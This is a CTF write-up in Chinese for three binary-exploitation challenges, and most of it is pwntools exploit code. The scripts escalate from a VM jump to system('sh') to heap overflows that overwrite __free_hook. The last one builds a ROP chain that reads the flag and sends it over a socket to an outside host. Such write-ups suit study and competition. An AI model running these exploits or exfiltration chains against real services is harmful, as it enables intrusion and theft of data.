chall

一道比较简单的vmpwn,没去符号,相对属于比较好逆的

感觉出简单了,如果没给最后的八字节溢出能做,可以利用mvi任意改指针,改成system后再跳上去即可

exp的做法是利用mvi布置sh之后直接跳到八字节溢出布置好的system上执行system("sh")

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
# r = process('./chall')
r = remote('47.93.2.254',12713)
r.recv()

mov = 0x40165b
nop = 0x401437
mvi = 0x401505

code = b"\x3e\x73"
code+= b"\x06\x68"
code+= b"\x00"
code = code.ljust(0x3ff8, b"C")
code+= p64(0x4010D0)
r.sendline(code)

r.interactive()

babycarlock

需要逆一下报文,逆完之后测一测就发现了userPanel.cgi中选项1存在堆溢出,直接改size打freehook即可,输出也没有清空之类的比较简单就拿到了基址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
# r = process('./babyCarLock')
r = remote('47.93.2.254',26906)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


r.recv()

code = b''
code+= b'POST /login.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1023\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0xf1)+b'emanresu'
code+= p8(0xf2)+b'drowssap'
r.send(code)

for i in range(10):
r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0)+p8(i)+p16(0)+p32(0x208)
code+= b"Z"*0x208
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(1)+p8(0x0)+p16(0)+p32(0x20a)
code+= b"A"*0x208+p16(0x631)
r.send(code)


r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(2)+p8(0x1)+p16(0)
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0)+p8(1)+p16(0)+p32(0x1)
code+= b"Z"
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(1)+p8(0x1)+p16(0)+p32(0x1)
code+= b"\x50"
r.send(code)

libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-1232-0x10-libc.sym['__malloc_hook']

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(1)+p8(0x1)+p16(0)+p32(0x10)
code+= b"/bin/sh\x00"
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(2)+p8(0x3)+p16(0)
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(2)+p8(0x2)+p16(0)
r.send(code)


r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0)+p8(0x10)+p16(0)+p32(0x350)
code+= b"Q"*0x1e8+p64(0x211)+p64(libc.sym['__free_hook'])
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0)+p8(0x11)+p16(0)+p32(0x200)
code+= b"Q"
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0)+p8(0x12)+p16(0)+p32(0x200)
code+= p64(libc.sym['system'])
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(2)+p8(0x1)+p16(0)
r.send(code)

print hex(libc.address)
r.interactive()

midcarlock

分析

报文格式和babycarlock一样

变化的地方在于当使用选项1进行写入操作并返回内容时,会判断输入的size和申请的时候记录的size是否相等:

  • 相等则正常读入并输入相应size的内容
  • 不相等则调用realloc重新分配大小,然而在使用realloc重新分配大小后并没有修改记录的指针,只修改了对应的size,我们知道realloc请求的size大于原本的size时原本的chunk会被释放掉,所以就有了uaf的可能;当然也可能造成堆溢出,因为指针指向的chunk大小可能小于记录的size

需要注意两点:

  • 使用选项1进行写入时会清空对应size的内容,所以无法直接把基址带出来
  • 本题的标准输入输出和标准错误都被关闭,最后需要把flag弹到vps上

思路

如何泄露基址:利用选项1中的realloc释放第八个chunk到unsorted bin中,程序会返回原本chunk中的内容,也就得到了基址

如何反弹shell:之后的做法也比较常规了,就是构造chunk overlap,改__free_hook为gadget,之后做栈迁移构造rop,通过socket发送flag即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./main')
# r = remote('47.93.2.254',36183)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

r.recv()
code = b''
code+= b'POST /login.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1023\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0xf1)+b'emanresu'
code+= p8(0xf2)+b'drowssap'
r.send(code)

for i in range(10):
r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0)+p8(i)+p16(0)+p32(0x208)
code+= b"Z"*0x208
r.send(code)


r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0)+p8(10)+p16(0)+p32(0x308)
code+= b"/bin/sh\x00"
r.send(code)

for i in range(6):
r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(2)+p8(i)+p16(0)
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(1)+p8(6)+p16(0)+p32(0x360)
code+= b'A'
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(1)+p8(7)+p16(0)+p32(0x370)
code+= b'\xe0'
r.send(code)

libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-0x10-96-libc.sym['__malloc_hook']

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(1)+p8(6)+p16(0)+p32(0x360)
code+= p64(libc.sym['__free_hook'])
r.send(code)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0)+p8(0x50)+p16(0)+p32(0x208)
code+= b"A"
r.send(code)

prdi_r = libc.address+0x0000000000023b72
psri_r = libc.address+0x000000000002604f
prdx_pr12_r = libc.address+0x0000000000119241
prax_r = libc.address+0x0000000000047400
syscall_r = libc.address+0x00000000000630d9
leave_r = libc.address+0x00000000000578f8
p3_r = libc.address+0x0000000000062599

base = libc.sym['__free_hook']
rop = b''
rop+= p64(prdx_pr12_r)
rop+= p64(0)
rop+= p64(base)
rop+= p64(p3_r)
rop+= p64(leave_r)
rop+= p64(0)
rop+= p64(p3_r)
rop+= p64(prdi_r)
rop+= p64(base)
rop+= p64(prdi_r)+p64(libc.sym['__free_hook']+0x1d8)
rop+= p64(psri_r)+p64(0)
rop+= p64(prax_r)+p64(2)
rop+= p64(syscall_r)
rop+= p64(prdi_r)+p64(0)
rop+= p64(psri_r)+p64(libc.sym['__free_hook']+0x200)
rop+= p64(prdx_pr12_r)+p64(0x50)+p64(0)
rop+= p64(prax_r)+p64(0)
rop+= p64(syscall_r)
rop+= p64(prax_r)+p64(41)
rop+= p64(prdi_r)+p64(2)
rop+= p64(psri_r)+p64(1)
rop+= p64(prdx_pr12_r)+p64(0)*2
rop+= p64(syscall_r)
rop+= p64(prax_r)+p64(42)
rop+= p64(prdi_r)+p64(1)
rop+= p64(psri_r)+p64(libc.sym['__free_hook']+0x1e0)
rop+= p64(prdx_pr12_r)+p64(0x10)+p64(0)
rop+= p64(syscall_r)
rop+= p64(prax_r)+p64(1)
rop+= p64(prdx_pr12_r)+p64(0x50)+p64(0)
rop+= p64(psri_r)+p64(libc.sym['__free_hook']+0x200)
rop+= p64(prdi_r)+p64(1)
rop+= p64(prax_r)+p64(1)
rop+= p64(syscall_r)
rop+= b'flag\x00\x00\x00\x00'
rop+= p64(0xbb061b400a1a0002)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(0)+p8(0x51)+p16(0)+p32(0x208)
code+= p64(libc.address+0x154d0a)
code+= rop
r.send(code)
l = len(rop)

r.recv()
code = b''
code+= b'POST /userPanel.cgi HTTP/1.1\r\n'
code+= b'Content-Length: 1024\r\n'
code+= b'Connection:keep-alive\r\n\r\n'
code+= p8(2)+p8(0x51)+p16(0)
# gdb.attach(r, 'b free')

r.send(code)
# print hex(libc.address)
r.interactive()